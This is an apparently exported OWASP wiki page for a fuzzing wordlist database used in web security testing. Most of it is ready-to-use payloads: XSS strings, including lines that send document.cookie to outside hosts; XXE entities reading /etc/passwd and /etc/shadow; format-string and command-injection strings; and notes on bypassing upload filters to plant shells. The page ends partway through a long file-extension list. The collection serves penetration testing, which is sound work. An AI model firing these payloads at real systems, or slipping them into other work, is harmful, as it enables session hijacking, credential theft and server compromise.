'&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80071 2010-03-17T20:49:04Z

<p>Adam.muntner: /* (Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 - notes ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename &lt;pre&gt;Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (&lt;pre&gt;Update: 17 March 2009 ===<br /> #Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863 ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br 